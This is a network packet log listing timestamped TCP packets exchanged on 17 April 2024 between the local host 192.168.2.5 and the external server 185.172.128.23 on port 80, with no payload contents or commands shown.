Apr 17, 2024 09:17:12.150430918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150449038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150465012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150470018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150494099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150517941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150639057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150681973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150734901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150752068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150769949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.150790930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.150810003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151354074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151382923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151400089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151401043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151420116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151421070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151433945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151457071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151794910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151838064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151878119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151899099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151916027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.151920080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151942015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151954889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.151957989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152017117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152046919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152056932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152064085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152085066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152085066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152108908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152117014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152118921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152164936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152358055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152385950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152401924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152420044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152424097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152448893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152463913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152815104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152832985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152852058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152868986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.152873993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.152904034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153026104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153055906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153068066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153074026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153090954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153094053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153105021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153126001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153405905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153456926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153598070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153616905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153633118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153650999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153655052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153667927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153680086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153700113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153709888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.153878927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153897047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.153937101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154231071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154248953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154266119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154285908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154299021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154328108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154480934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154512882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154526949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154531956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154552937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154572010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154577017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154613972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154925108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154942989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154968977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.154969931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.154994011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155019045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155112028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155138016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155153990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155164003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155180931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155184031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155199051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155200005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155217886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155220032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155237913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155237913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155255079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155257940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155272961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.155273914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155292988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.155302048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.164810896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.164863110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206499100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206526995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206552029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206552982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206583023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206618071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206644058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206667900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206693888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206695080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206715107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206718922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.206748009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.206768036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.207278967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.207333088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.207340002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.207377911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.207390070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.207415104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.207427979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.207463026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.207977057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208038092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208062887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208113909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208185911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208240986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208250046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208280087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208304882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208317995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208323002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208355904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208368063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208395958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208405972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208435059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208450079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208472013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208477974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208509922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208547115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208554029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208591938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208827972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208864927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208879948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208901882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208909035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208940029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.208949089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.208990097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.223809958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.223870993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237133026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237193108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237222910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237234116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237263918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237302065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237308979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237339973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237344027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237377882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.237382889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.237422943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238025904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238097906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238126993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238190889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238207102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238245010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238250971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238301992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238336086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238338947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238348007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238377094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238414049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238421917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238451958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238457918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238491058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238493919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238528013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238531113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238564968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238571882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238601923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238611937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238640070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238675117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238683939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238712072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.238717079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.238751888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.239348888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.239393950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.253695011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.253756046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.298924923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.298989058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299158096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299195051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299212933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299232960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299240112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299272060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299318075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299391031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299436092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299438000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299483061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299488068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299531937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299557924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299575090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299590111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299599886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299607038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299607038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299626112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299632072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299657106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299676895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299679041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299695015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299696922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299711943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299712896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299726009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299729109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299742937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299745083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299762011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299765110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299774885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299777985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299793005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299828053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299849987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299865961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299876928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299876928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299890041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299906969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299906969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299916029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299923897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299941063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299947023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299958944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299977064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299978018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299978018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299978971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.299993992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.299994946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300010920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300014019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300028086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300034046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300044060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300045967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300062895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300071001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300081015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300088882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300098896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300106049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300122976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300124884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300141096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300148010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300158978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300159931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300175905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300182104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300192118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300199986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300209045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300225019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300225019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300236940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300246954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300254107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300268888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300276995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300299883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300301075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300317049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300323963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300331116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300333023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300349951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300357103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300368071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300375938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300384998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.300393105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300410032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.300420046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.324656010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.324723959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359558105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359596968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359613895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359643936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359709978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359759092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359790087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359827042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359838963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359864950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.359874010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359909058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.359910011 CEST	80	49704	185.172.128.23	192.168.2.5
